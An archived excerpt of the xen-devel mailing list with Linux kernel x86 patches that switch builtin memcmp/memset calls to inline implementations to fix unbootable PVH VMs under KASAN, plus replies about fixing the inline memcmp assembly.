	id 1wn2cO-00088Q-Tm; Thu, 23 Jul 2026 23:14:20 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369674.1618255; Thu, 23 Jul 2026 23:14:20 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn2cO-00088H-QH; Thu, 23 Jul 2026 23:14:20 +0000
Received: by outflank-mailman (input) for mailman id 1369674;
 Thu, 23 Jul 2026 23:14:19 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wn2cN-000865-BW
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 23:14:19 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wn2cM-00A9m0-Od
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 01:14:18 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a629fc2-e002-0a2a0a5209dd-0a2a4502ebd2-42
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:14:18 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a62a049-6ca4-0a2a45020019-d561b338e4ac-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:14:18 +0200
Received: from 186-249-149-197.shared.desktop.com.br ([186.249.149.197]
 helo=[127.0.1.1]) by fanzine2.igalia.com with esmtpsa 
 (Cipher TLS1.3:ECDHE_X25519__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wn2cK-003dsJ-D3; Fri, 24 Jul 2026 01:14:16 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Cc:To:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Cc:To:Message-Id:Content-Transfer-Encoding:Content-Type:
	MIME-Version:Subject:Date:From:From:Reply-To;
	bh=H2GAc7mtrFpKl87p+adcJZhrkVbc1evwDywNzt1ulrU=; b=Ur7Yt83nqIk/wpx4DPoDQVuRHt
	YHYl3AzgDiwl86MiN+W7vEu1yvRIOwnFrEU+ugLCqkQ7j882mWh5ZxtXD4O3G/pDWEIuWXFk63NqA
	KZ9ggpizpV+1Ejg2taK9IFeWWpyxjkmCemu+mArn1f/uj7sTif1XYyQrJMCGU2eu030bFnfiRKo33
	C5mQFqkWmMQ1xUJIQ31uOn00VgKp/6pTrRZgTh8JLqunabmQ1v+mA2mKAnSjDlTuVYmsCEfCXhG1g
	KavB3Eg5daAVTkG3we0F6mWOjUn/ECTmH51MXfDZtBnecP5cgKyWNfRmHAwWUwASkZiiGx6Rc9cc8
	JyxilkEg==;
From: Mauricio Faria de Oliveira <mfo@igalia.com>
Date: Thu, 23 Jul 2026 20:13:53 -0300
Subject: [PATCH v8 3/4] x86/cpuid: fix unbootable VMs by really inlining
 memcmp() in hypervisor_cpuid_base()
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260723-pvh-kasan-inline-v8-3-c1f62c156f52@igalia.com>
References: <20260723-pvh-kasan-inline-v8-0-c1f62c156f52@igalia.com>
In-Reply-To: <20260723-pvh-kasan-inline-v8-0-c1f62c156f52@igalia.com>
To: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, 
 Borislav Petkov <bp@alien8.de>, Dave Hansen <dave.hansen@linux.intel.com>, 
 x86@kernel.org, "H. Peter Anvin" <hpa@zytor.com>, 
 Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>, 
 Boris Ostrovsky <boris.ostrovsky@oracle.com>, 
 Jan Beulich <jbeulich@suse.com>, Brian Gerst <brgerst@gmail.com>
Cc: kernel-dev@igalia.com, linux-kernel@vger.kernel.org, 
 xen-devel@lists.xenproject.org, Mauricio Faria de Oliveira <mfo@igalia.com>
X-Mailer: b4 0.14.2
X-purgate-ID: tlsNG-720697/1784848458-F0AA52AC-CC2B6E7F/0/0
X-purgate-type: clean
X-purgate-size: 1458

Even with __builtin the compiler may decide to use the out of line function
instead of the inline implementation.

The existing code is broken with gcc-14/15 but not gcc-12/13 (Ubuntu 25.10)
and vmlinux no longer boots with CONFIG_PVH if CONFIG_KASAN_GENERIC is set.

For testing purposes, if the size argument is reduced from 12 to 8 then the
compiler decides to use the inline implementation; that shows results vary.

Switch the builtin to the inline implementation to address it.

Fixes: 416a33c9afce ("x86/cpu: fix unbootable VMs by inlining memcmp() in hypervisor_cpuid_base()")
Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
Reviewed-by: Juergen Gross <jgross@suse.com>
---
 arch/x86/include/asm/cpuid/api.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/x86/include/asm/cpuid/api.h b/arch/x86/include/asm/cpuid/api.h
index 82eddfa2347b32b76c2ea9b85f005ca5416ac71f..2d9f3d4d63de6e721f275d9e80d372edbdfedf30 100644
--- a/arch/x86/include/asm/cpuid/api.h
+++ b/arch/x86/include/asm/cpuid/api.h
@@ -204,7 +204,7 @@ static inline u32 cpuid_base_hypervisor(const char *sig, u32 leaves)
 		 * from PVH early boot code before instrumentation is set up
 		 * and memcmp() itself may be instrumented.
 		 */
-		if (!__builtin_memcmp(sig, signature, 12) &&
+		if (!__inline_memcmp(sig, signature, 12) &&
 		    (leaves == 0 || ((eax - base) >= leaves)))
 			return base;
 	}

-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Thu Jul 23 23:14:26 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 23:14:26 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369678.1618264 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn2cU-0008UA-69; Thu, 23 Jul 2026 23:14:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369678.1618264; Thu, 23 Jul 2026 23:14:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn2cU-0008U3-26; Thu, 23 Jul 2026 23:14:26 +0000
Received: by outflank-mailman (input) for mailman id 1369678;
 Thu, 23 Jul 2026 23:14:24 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wn2cS-0008Qm-Nl
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 23:14:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wn2cS-002RKf-4b
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 01:14:24 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a62a04f-bab6-0a2a0a5309dd-0a2a450cde10-0
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:14:23 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a62a04e-f479-0a2a450c0019-d561b338ed68-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:14:23 +0200
Received: from 186-249-149-197.shared.desktop.com.br ([186.249.149.197]
 helo=[127.0.1.1]) by fanzine2.igalia.com with esmtpsa 
 (Cipher TLS1.3:ECDHE_X25519__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wn2cP-003dsJ-Jn; Fri, 24 Jul 2026 01:14:21 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Cc:To:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Cc:To:Message-Id:Content-Transfer-Encoding:Content-Type:
	MIME-Version:Subject:Date:From:From:Reply-To;
	bh=zBAAE6UPiVcuOT4Hdx5zYoG+Uei+rPkEJSxQ4+nbtAc=; b=R/gjQH2VSgkl4pACIKZMge3cYq
	mEx2tgfcbgdYNPGm9D38BSk4JWIG350FyRZnrJ91Nq159jjVPzrr1xs+sq6JH2ShauIebrVQxZP36
	/MYI/+PJf26/q+EoxLTiK9i45/spWyDtNoWXurvB/GR/hhSeDa/E6VmDZKq6qiIZouVE59xVJimjh
	7hUhbvPPVIHB09zhVgv1TmM+7R0x+q7HIkcsj5KkPE9EK1iKOx2hE1J1flI3vNqpufm5F9iKRFh/Y
	BHK8Vu1JA9EtzvVAx20riQAcho0e8+ppozUg/YXzlBOwMIuFxBBUn9kPS9/IxMiEX4MardB9mTFjI
	mRKV173A==;
From: Mauricio Faria de Oliveira <mfo@igalia.com>
Date: Thu, 23 Jul 2026 20:13:54 -0300
Subject: [PATCH v8 4/4] x86/pvh: fix unbootable VMs by really inlining
 memset() in xen_prepare_pvh()
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260723-pvh-kasan-inline-v8-4-c1f62c156f52@igalia.com>
References: <20260723-pvh-kasan-inline-v8-0-c1f62c156f52@igalia.com>
In-Reply-To: <20260723-pvh-kasan-inline-v8-0-c1f62c156f52@igalia.com>
To: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, 
 Borislav Petkov <bp@alien8.de>, Dave Hansen <dave.hansen@linux.intel.com>, 
 x86@kernel.org, "H. Peter Anvin" <hpa@zytor.com>, 
 Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>, 
 Boris Ostrovsky <boris.ostrovsky@oracle.com>, 
 Jan Beulich <jbeulich@suse.com>, Brian Gerst <brgerst@gmail.com>
Cc: kernel-dev@igalia.com, linux-kernel@vger.kernel.org, 
 xen-devel@lists.xenproject.org, Mauricio Faria de Oliveira <mfo@igalia.com>
X-Mailer: b4 0.14.2
X-purgate-ID: tlsNG-d25034/1784848463-00ACCA5B-16A44BEB/0/0
X-purgate-type: clean
X-purgate-size: 1416

Even with __builtin the compiler may decide to use the out of line function
instead of the inline implementation.

This particular one (still) generated the inline implementation as expected
(at least in these compiler versions) but this is not guaranteed to remain.

Switch the builtin to the inline implementation to address it.

Fixes: fbe5a6dfe492 ("xen, pvh: fix unbootable VMs by inlining memset() in xen_prepare_pvh()")
Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
Reviewed-by: Juergen Gross <jgross@suse.com>
---
 arch/x86/platform/pvh/enlighten.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/arch/x86/platform/pvh/enlighten.c b/arch/x86/platform/pvh/enlighten.c
index f2053cbe9b0ce3d2178938269607c652ae8f528e..cb442cbd9d828619421babb281bfe9759edbca8a 100644
--- a/arch/x86/platform/pvh/enlighten.c
+++ b/arch/x86/platform/pvh/enlighten.c
@@ -8,6 +8,7 @@
 #include <asm/hypervisor.h>
 #include <asm/e820/api.h>
 #include <asm/x86_init.h>
+#include <asm/string.h>
 
 #include <asm/xen/interface.h>
 
@@ -129,7 +130,7 @@ void __init xen_prepare_pvh(void)
 	 * This must not compile to "call memset" because memset() may be
 	 * instrumented.
 	 */
-	__builtin_memset(&pvh_bootparams, 0, sizeof(pvh_bootparams));
+	__inline_memset(&pvh_bootparams, 0, sizeof(pvh_bootparams));
 
 	hypervisor_specific_init(xen_guest);
 

-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Thu Jul 23 23:17:24 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 23:17:24 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369712.1618272 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn2fK-0001Ud-JT; Thu, 23 Jul 2026 23:17:22 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369712.1618272; Thu, 23 Jul 2026 23:17:22 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn2fK-0001UW-GP; Thu, 23 Jul 2026 23:17:22 +0000
Received: by outflank-mailman (input) for mailman id 1369712;
 Thu, 23 Jul 2026 23:17:20 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wn2fI-0001UQ-Pt
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 23:17:20 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wn2fI-00AA3Z-6o
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 01:17:20 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a62a0a3-bab6-0a2a0a5309dd-0a2a4503bfb4-46
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:17:20 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a62a0ff-fae8-0a2a45030019-d561b338d4d6-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:17:20 +0200
Received: from maestria.local.igalia.com ([192.168.10.14] helo=mail.igalia.com)
 by fanzine2.igalia.com with esmtps 
 (Cipher TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wn2f3-003dxL-E8; Fri, 24 Jul 2026 01:17:05 +0200
Received: from webmail.service.igalia.com ([192.168.21.45])
 by mail.igalia.com with esmtp (Exim)
 id 1wn2f0-001vGh-UY; Fri, 24 Jul 2026 01:17:05 +0200
Received: from localhost ([127.0.0.1] helo=webmail.igalia.com)
 by webmail.service.igalia.com with esmtp (Exim 4.98.2)
 (envelope-from <mfo@igalia.com>) id 1wn2f0-000000031om-34zR;
 Fri, 24 Jul 2026 01:17:02 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Content-Transfer-Encoding:Content-Type:Message-ID:Subject:Cc:To:From:Date:MIME-Version"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Content-Transfer-Encoding:Content-Type:Message-ID:Subject:Cc:To
	:From:Date:MIME-Version:From:Reply-To;
	bh=iz6E4BrpWd+r0aWdrdKsx0L9pMZaz696rZOSQQ8lwLQ=; b=WvmO2NuGiN1okDC4E61j4ggHNW
	33/Rc2fCFQXaqeZgaHYNnCckzodMQS+KjAJngAKh/TqS5qiW3aNDwY2SW9DOFMfpeC88LIUZM+PJQ
	XMZK+3oE5JnRaoVnTH3wphiwjC3c69DbckSzRYGYCmSHSJrRrg6wVOtuXgpNQnQcxAT/Sisw/ZpPO
	GzRdxFVfItLlHCBs8gsRSSCUQH18PLmvA62ZhPvCVfWhC/ydugpf5W9prsO4Sb2zv1E0XQxWJ/iQx
	DJy9dcTLSUNGYDO1HgyiCOST8663Eap8NxbzoFS4QAj4Gt0EXsGVNLLcYKUK95P/Bf8Pgk4khtW1p
	7PJz8cUw==;
MIME-Version: 1.0
Date: Thu, 23 Jul 2026 20:17:02 -0300
From: Mauricio Faria de Oliveira <mfo@igalia.com>
To: Borislav Petkov <bp@alien8.de>
Cc: "H. Peter Anvin" <hpa@zytor.com>, Thomas Gleixner <tglx@kernel.org>,
 Ingo Molnar <mingo@redhat.com>, Dave Hansen <dave.hansen@linux.intel.com>,
 x86@kernel.org, Juergen Gross <jgross@suse.com>, Alexey Dobriyan
 <adobriyan@gmail.com>, Boris Ostrovsky <boris.ostrovsky@oracle.com>,
 kernel-dev@igalia.com, linux-kernel@vger.kernel.org,
 xen-devel@lists.xenproject.org
Subject: Re: [PATCH v7 2/5] x86/asm: add volatile, clobbers and zero-length
 check in inline memcmp
In-Reply-To: <20260722170334.GCamD35gwrCng30WH1@fat_crate.local>
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
 <20260721-pvh-kasan-inline-v7-2-38979a50cef0@igalia.com>
 <20260722170334.GCamD35gwrCng30WH1@fat_crate.local>
Message-ID: <1e451a9179c1faa8e7805d17c6e1ee10@igalia.com>
X-Sender: mfo@igalia.com
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Spam-Report: NO, Score=-2.2, Tests=ALL_TRUSTED=-3,BAYES_50=0.8
X-Spam-Score: -21
X-Spam-Bar: --
X-purgate-ID: tlsNG-33051d/1784848640-7428D4E9-EE9D286A/0/0
X-purgate-type: clean
X-purgate-size: 2370

On 2026-07-22 14:03, Borislav Petkov wrote:
> hpa in To:.
> 
> On Tue, Jul 21, 2026 at 12:56:43PM -0300, Mauricio Faria de Oliveira wrote:
>> Add the volatile qualifier and clobbers parameter to prevent bugs with
>> instruction reordering and optimization.
>> 
>> Also check the zero-length case, as the 'repe' prefix does not run the
>> 'cmpsb' instruction if the 'count' register is zero, which doesn't set
> 
> Please use capital letters for insns: REPE, CMPSB and you don't need to put
> words in '' - it reads fine without them.

Ok.

> 
>> the condition-code/zero flag, so the result is based on a stale flag.
>> 
>> Those are pre-existing issues found by Sashiko.
>> 
>> Link: https://sashiko.dev/#/patchset/20260701-pvh-kasan-inline-v6-0-ba99045dfa9f%40igalia.com
>> Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
>> ---
>>  arch/x86/include/asm/shared/string.h | 8 ++++++--
>>  1 file changed, 6 insertions(+), 2 deletions(-)
>> 
>> diff --git a/arch/x86/include/asm/shared/string.h b/arch/x86/include/asm/shared/string.h
>> index 02b92927553f7b8e1c87e6122bbaa70439e57ea7..166274e44f3cb49e3dccab3cdac281d67aef5d44 100644
>> --- a/arch/x86/include/asm/shared/string.h
>> +++ b/arch/x86/include/asm/shared/string.h
>> @@ -11,8 +11,12 @@ static __always_inline int __inline_memcmp(const void *s1, const void *s2, size_
>>  {
>>  	bool diff;
>>  
>> -	asm("repe cmpsb"
>> -	    : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len));
>> +	if (len == 0)
>> +		return 0;
>> +
>> +	asm volatile("repe cmpsb"
>> +		     : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len)
>> +		     : : "cc", "memory");
>>  
>>  	return diff;
>>  }
> 
> So this is a fix which should probably go to stable, I think. Going back into
> git history, it points to
> 
>   62bd0337d0c4 ("Top header file for new x86 setup code")
> 
> from 2007. And we have carried it this way through the years and who knows
> what hit this or not. So please make this the first patch in your set - you
> can even send it separately so that I can get route it through stable.

Sure:
https://lore.kernel.org/all/20260723-x86-memcmp-asm-v2-1-d93ecb43797f@igalia.com/

> Then you can base the rest ontop.

Done:
https://lore.kernel.org/all/20260723-pvh-kasan-inline-v8-0-c1f62c156f52@igalia.com/

Thanks,

> 
> Thx.

-- 
Mauricio


From xen-devel-bounces@lists.xenproject.org Thu Jul 23 23:21:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 23:21:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369720.1618281 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn2im-0003LN-Vf; Thu, 23 Jul 2026 23:20:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369720.1618281; Thu, 23 Jul 2026 23:20:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn2im-0003LG-Si; Thu, 23 Jul 2026 23:20:56 +0000
Received: by outflank-mailman (input) for mailman id 1369720;
 Thu, 23 Jul 2026 23:20:55 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wn2il-0003L6-Hf
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 23:20:55 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wn2ik-0038G9-Qu
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 01:20:54 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a62a15d-e002-0a2a0a5209dd-0a2a450b933a-40
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:20:54 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a62a1d6-b7e8-0a2a450b0019-d561b338a07c-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:20:54 +0200
Received: from maestria.local.igalia.com ([192.168.10.14] helo=mail.igalia.com)
 by fanzine2.igalia.com with esmtps 
 (Cipher TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wn2iT-003e1x-CQ; Fri, 24 Jul 2026 01:20:37 +0200
Received: from webmail.service.igalia.com ([192.168.21.45])
 by mail.igalia.com with esmtp (Exim)
 id 1wn2iQ-001vgG-TF; Fri, 24 Jul 2026 01:20:37 +0200
Received: from localhost ([127.0.0.1] helo=webmail.igalia.com)
 by webmail.service.igalia.com with esmtp (Exim 4.98.2)
 (envelope-from <mfo@igalia.com>) id 1wn2iQ-000000031qI-2r1S;
 Fri, 24 Jul 2026 01:20:34 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Content-Transfer-Encoding:Content-Type:Message-ID:Subject:Cc:To:From:Date:MIME-Version"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Content-Transfer-Encoding:Content-Type:Message-ID:Subject:Cc:To
	:From:Date:MIME-Version:From:Reply-To;
	bh=DS/VCUC/4IbrLXtLc7lyjjd6XVFRv5g2nDbRWVShaGk=; b=c6zWkTi72rgX7bdnOSCCyIl7Sg
	MuapfGPST4KEJJTjmVDwKfci5Lubitq2W7jBsAXcONJidDySs/YsF29RWZHkv1PKBPYnQ1T3qLPDz
	vn6/jB3gWw5Ybsl3M4IS+/wTY3b5+GV2po7fvladXMLRhIhKVCSL1/ke+dhI/smx5gsi8oqaIY0ZX
	DM3djyFfAM5NURGH49eu5uMUDJymz9pYilvqjAW+4H/jpwN1eRLnydzrW5EVWcSeDPzlDF0Xize22
	Ow/zJDKjy0ZEpWYBqNV85T+RbatDggswEtD+kqXh6X07rNr3P4AyboB62AaPRb7e0YEm7CLeZTc4H
	z4+j0a4Q==;
MIME-Version: 1.0
Date: Thu, 23 Jul 2026 20:20:34 -0300
From: Mauricio Faria de Oliveira <mfo@igalia.com>
To: "H. Peter Anvin" <hpa@zytor.com>
Cc: Borislav Petkov <bp@alien8.de>, Thomas Gleixner <tglx@kernel.org>, Ingo
 Molnar <mingo@redhat.com>, Dave Hansen <dave.hansen@linux.intel.com>,
 x86@kernel.org, Juergen Gross <jgross@suse.com>, Alexey Dobriyan
 <adobriyan@gmail.com>, Boris Ostrovsky <boris.ostrovsky@oracle.com>,
 kernel-dev@igalia.com, linux-kernel@vger.kernel.org,
 xen-devel@lists.xenproject.org
Subject: Re: [PATCH v7 2/5] x86/asm: add volatile, clobbers and zero-length
 check in inline memcmp
In-Reply-To: <0F3A1121-208F-4F71-8C88-BEAE7CB50E75@zytor.com>
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
 <20260721-pvh-kasan-inline-v7-2-38979a50cef0@igalia.com>
 <20260722170334.GCamD35gwrCng30WH1@fat_crate.local>
 <0F3A1121-208F-4F71-8C88-BEAE7CB50E75@zytor.com>
Message-ID: <1251d04d8da8e2ecaba28eaaeab4a13a@igalia.com>
X-Sender: mfo@igalia.com
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Spam-Report: NO, Score=-2.2, Tests=ALL_TRUSTED=-3,BAYES_50=0.8
X-Spam-Score: -21
X-Spam-Bar: --
X-purgate-ID: tlsNG-42698a/1784848854-182F49EA-1B8E9F53/0/0
X-purgate-type: clean
X-purgate-size: 2449

On 2026-07-22 15:45, H. Peter Anvin wrote:
> On July 22, 2026 10:03:34 AM PDT, Borislav Petkov <bp@alien8.de> wrote:
>>hpa in To:.
>>
>>On Tue, Jul 21, 2026 at 12:56:43PM -0300, Mauricio Faria de Oliveira wrote:
>>> Add the volatile qualifier and clobbers parameter to prevent bugs with
>>> instruction reordering and optimization.
>>> 
>>> Also check the zero-length case, as the 'repe' prefix does not run the
>>> 'cmpsb' instruction if the 'count' register is zero, which doesn't set
>>
>>Please use capital letters for insns: REPE, CMPSB and you don't need to put
>>words in '' - it reads fine without them.
>>
>>> the condition-code/zero flag, so the result is based on a stale flag.
>>> 
>>> Those are pre-existing issues found by Sashiko.
>>> 
>>> Link: https://sashiko.dev/#/patchset/20260701-pvh-kasan-inline-v6-0-ba99045dfa9f%40igalia.com
>>> Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
>>> ---
>>>  arch/x86/include/asm/shared/string.h | 8 ++++++--
>>>  1 file changed, 6 insertions(+), 2 deletions(-)
>>> 
>>> diff --git a/arch/x86/include/asm/shared/string.h b/arch/x86/include/asm/shared/string.h
>>> index 02b92927553f7b8e1c87e6122bbaa70439e57ea7..166274e44f3cb49e3dccab3cdac281d67aef5d44 100644
>>> --- a/arch/x86/include/asm/shared/string.h
>>> +++ b/arch/x86/include/asm/shared/string.h
